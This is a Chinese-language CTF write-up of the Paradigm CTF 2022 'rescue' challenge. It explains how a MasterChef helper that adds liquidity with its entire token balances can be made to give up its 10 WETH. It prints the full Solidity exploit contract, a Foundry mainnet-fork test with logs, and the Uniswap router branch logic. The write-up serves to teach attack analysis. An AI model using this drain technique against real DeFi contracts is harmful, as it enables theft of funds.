02.rescue
2023-09-18 11:09:26 # 14.Paradigm CTF 2022

rescue

分析

本题的任务:不小心将10WETH转到了合约masterchef中,我们需要将他归零。

合约中只有swapTokenForPoolToken()可以调用,它会将一个tokenIn传入,然后对半分换成poolId这个ID对应的池子中的两个代币。其实tokenIn的值只要不为0就可以,因为添加流动性的时候amountDesired设置成了masterchef拥有的最大代币数目,tokenIn的数量不与token0和token1挂钩。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenOut0 = UniswapV2PairLike(lpToken).token0();
address tokenOut1 = UniswapV2PairLike(lpToken).token1();

ERC20Like(tokenIn).approve(address(router), type(uint256).max);
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

// swap for both tokens of the lp pool
_swap(tokenIn, tokenOut0, amountIn / 2);
_swap(tokenIn, tokenOut1, amountIn / 2);

// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}

masterchef添加流动性的时候是将整个合约拥有的代币设置进去,这就意味着,只要我们的token1够多,那么token0就会被归零。(原因是uniswapV2的添加流动性方法中,先是判断token1的数目够不够换token0)

1
2
3
4
5
6
7
8
9
10
11
12
13
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}

因此,我们选取一个币对池子中token0是WETH的,这样的话,只要我们拥有的token1足够多,就可以将WETH归零。

如果不好理解,那我举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
由于不知道题目中的池子比例, 我们假设池子里有 WETH 和 USDT 各50个

WETH USDT 得到 k
池子初始 50 50 2500
输入 10 ? (这一步用于得到一定数量的USDT)
池子最终 60 2500/60 ~=42 50-42=8 2500
到手 0 8 (这里得到的USDT会给到masterchef)

masterchef 10 8
60 48 (此时48>42, 说明所需的USDT已经足够)

先判断amountDesired=10的时候USDT够不够, 算出来够, 因此会将10个WETH换成USDT, 多的USDT并不会转发
我们这题选取的token0是WETH(10个), 那么只要我们有大于比例的USDT就可以了

反正这题就是要保证10个WETH要被完全换出去, USDT可以不被全部换走,有点残留

同时, 本题中用于平分两半的token可以是任意数量, 因为masterchef会将所有的token0和token1作为amountDesired

解题

原题目题解如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
contract Rescue {
UniswapV2RouterLike public router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

WETH9 public weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IPair public usdcweth = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);

IPair public usdtweth = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);

constructor() payable {}

function rescue(address setup) public {
// 获取误转入10WETH的合约实例
address target = ISetup(setup).mcHelper();

// 本合约获得11WETH,因为是1:1兑换
weth.deposit{value: 11 ether}();
// 向 USDT/WETH 池子转10WETH
weth.transfer(address(usdtweth), 10 ether);
// 向 USDC/WETH 池子转1WETH
weth.transfer(address(usdcweth), 1 ether);

// 获取池子的两个token的比例,reserveUSDT是池子中剩余的USDT数量,reserveWETH是池子中剩余的WETH数量
(uint112 reserveUSDT, uint112 reserveWETH, ) = usdtweth.getReserves();
// 用10个WETH换取若干个USDT
uint256 amount = router.getAmountOut(10 ether, reserveWETH, reserveUSDT);
// USDT/WETH 池子中,用WETH换USDT,结果是得到amount数量的USDT
usdtweth.swap(amount, 0, target, "");

// 获取池子的两个token的比例,reserveWETH是池子中剩余的WETH数量,reserveUSDC是池子中剩余的USDC数量
(reserveWETH, uint112 reserveUSDC, ) = usdcweth.getReserves();
// 用1个WETH换取若干个USDC
amount = router.getAmountOut(1 ether, reserveWETH, reserveUSDC);
// WETH/USDC 池子中,用WETH换USDC,结果是得到amount数量的USDC
usdcweth.swap(0, amount, address(this), "");

// 要授权,这样池子才能转走你的USDC
usdc.approve(target, usdc.balanceOf(address(this)));
// 1是指第一个交易对,即USDT/WETH,将USDC放入然后对半分
IMasterChefHelper(target).swapTokenForPoolToken(1, address(usdc), usdc.balanceOf(address(this)), 0);
}
}

由于比赛已经过了,没有环境给我测试,因此我将写个测试来演绎本题的原理,脚本放在GitHub仓库了

masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的addLiquidity来添加流动性
因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP,
然后调用addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// 我们模拟题目:假设masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的_addLiquidity来添加流动性
// 因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP,
// 然后调用_addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零

contract rescurTest is Test {

WETH9 comp = WETH9(0xc00e94Cb662C3520282E6f5717214004A7f26888);
WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

Masterchef public masterchef;

function setUp() public {
vm.createSelectFork("mainnet", 16_401_180);
vm.label(address(comp), "comp");
vm.label(address(weth), "weth");
vm.label(address(router), "router");
vm.label(address(masterchef), "masterchef");
}

function test_setToZero() public payable{

// 此时masterchef合约拥有10WETH,我们需要将他归零
masterchef = new Masterchef();
weth.deposit{value: 10}();
weth.transfer(address(masterchef), 10);

// 用一个拥有COMP的账户给masterchef转1000的COMP,根据本区块中的币对比例,1000COMP完全可以换10WETH
vm.startPrank(0x2775b1c75658Be0F640272CCb8c72ac986009e38);
comp.transfer(address(masterchef),1000);
vm.stopPrank();

// 检查masterchef是否有10 WETH
assertEq(weth.balanceOf(address(masterchef)),10);
console.log("[before] WETH",weth.balanceOf(address(masterchef)));

// 检查masterchef是否有 1000 COMP
assertEq(comp.balanceOf(address(masterchef)),1000);
console.log("[before] COMP",comp.balanceOf(address(masterchef)));

// 添加流动性,这会使我们换走所有的token0,即WETH
masterchef._addLiquidity(address(weth), address(comp), 0);

// 检查masterchef的WETH是否为0,并且COMP会有剩余
assertEq(weth.balanceOf(address(masterchef)),0);
console.log("[after] WETH",weth.balanceOf(address(masterchef)));
console.log("[after] COMP",comp.balanceOf(address(masterchef)));
}
}

contract Masterchef{
Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

function _addLiquidity(address token0, address token1, uint256 minAmountOut) public {
WETH9(token0).approve(address(router),type(uint256).max);
WETH9(token1).approve(address(router),type(uint256).max);
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
WETH9(token0).balanceOf(address(this)),
WETH9(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}
}
1
2
3
4
5
Logs:
[before] WETH 10
[before] COMP 1000
[after] WETH 0
[after] COMP 631

本例子中无论weth是token0还是token1,结果都是Logs那样。原因如下:1000个COMP可以换的WETH远多于10个,因此不会进入到if分支(此分支是用COMP换WETH),而是进入else分支,else分支则是用WETH换COMP

1
2
3
4
5
6
7
8
9
10
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}

综上所述,token0和token1的位置不是非要token0是WETH,例子关键是让程序流进入到WETH换COMP的分支即可。回到题目,则是找到一个币对,然后让程序执行流进入到WETH换另外一个token即可,另外一个token需要足够多